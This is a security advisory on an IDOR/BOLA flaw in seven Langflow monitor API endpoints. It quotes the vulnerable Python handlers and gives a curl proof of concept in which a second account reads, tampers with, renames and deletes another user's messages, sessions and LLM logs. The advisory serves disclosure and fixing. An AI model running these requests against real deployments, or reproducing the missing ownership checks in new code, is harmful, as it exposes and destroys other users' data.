Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints
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### Summary Langflow's `/api/v1/monitor` router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or `flow_id`. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (`monitor.py`) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied. ### Details **Source file: `src/backend/base/langflow/api/v1/monitor.py`** The correct pattern (used only in `GET /monitor/messages`, lines 77–80): ```python stmt = select(MessageTable) stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id) stmt = stmt.where(Flow.user_id == current_user.id) # ownership enforced ``` All 7 vulnerable endpoints are missing this guard: **1. `GET /api/v1/monitor/builds` (lines 27–33)** — reads build data for any `flow_id`: ```python @router.get("/builds", dependencies=[Depends(get_current_active_user)]) async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession): vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id) # no ownership check return VertexBuildMapModel.from_list_of_dicts(vertex_builds) ``` **2. `DELETE /api/v1/monitor/messages` (lines 102–107)** — deletes any message by UUID: ```python @router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)]) async def delete_messages(message_ids: list[UUID], session: DbSession): await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids))) # message_ids accepted verbatim, no ownership check ``` **3. `PUT /api/v1/monitor/messages/{message_id}` (lines 110–134)** — overwrites any message: ```python db_message = await session.get(MessageTable, message_id) # no check: db_message.flow_id → Flow.user_id == current_user.id db_message.sqlmodel_update(message_dict) ``` **4. `PATCH /api/v1/monitor/messages/session/{old_session_id}` (lines 137–171)** — renames any session: ```python stmt = select(MessageTable).where(MessageTable.session_id == old_session_id) # no JOIN to Flow, no WHERE Flow.user_id == current_user.id ``` **5. `DELETE /api/v1/monitor/messages/session/{session_id}` (lines 174–188)** — bulk-deletes any session: ```python await session.exec( delete(MessageTable).where(col(MessageTable.session_id) == session_id) # no ownership filter ) ``` **6. `GET /api/v1/monitor/transactions` (lines 191–211)** — reads LLM prompt/response logs for any `flow_id`: ```python stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id) # no JOIN to Flow, no WHERE Flow.user_id == current_user.id ``` **7. `DELETE /api/v1/monitor/builds`** — deletes build records for any `flow_id`: Shares the same root cause as endpoint #1 (`GET /builds`): `flow_id` is accepted as a bare query parameter and passed to the deletion path without a `WHERE Flow.user_id == current_user.id` ownership check, so any authenticated user can destroy another user's build artifacts. ### PoC Tested on Langflow v1.7.3 (`langflowai/langflow:1.7.3`) with two accounts: `langflow` (victim) and `attacker_test` (attacker). ```bash # Setup: authenticate both users TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \ -d "username=langflow&password=langflow" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \ -d "username=attacker_test&password=Attacker123" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") # Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration) FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])") # PoC 1: Read victim's LLM transaction logs (prompts + model responses) curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 — full transaction log returned including user prompts and model responses # PoC 2: Read victim's build data curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 # PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above) curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \ -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \ -d '["<victim_message_id>"]' # HTTP 204 — message deleted # PoC 4: Tamper with victim's message content curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \ -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \ -d '{"text":"TAMPERED BY ATTACKER"}' # HTTP 200 — message overwritten, "edit":true set # PoC 5: Rename victim's session curl -s -X PATCH \ "http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 — session renamed # PoC 6: Bulk-delete victim's entire session curl -s -X DELETE \ "http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \ -H "Authorization: Bearer $ATTKR" # HTTP 204 — entire session deleted ``` All 6 demonstrated attack vectors confirmed (the 7th, `DELETE /builds`, shares the `GET /builds` root cause and was not separately scripted). After attacker operations: victim's message text read `"TAMPERED BY ATTACKER"`, session renamed to attacker-controlled name, second session completely deleted. ### Impact This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted). **Confidentiality:** `GET /transactions` exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by `flow_id`. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). `GET /builds` exposes internal workflow execution state. **Integrity:** `PUT /messages/{id}` allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. `PATCH /messages/session/{id}` allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces. **Availability:** `DELETE /messages` and `DELETE /messages/session/{id}` enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted. Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.
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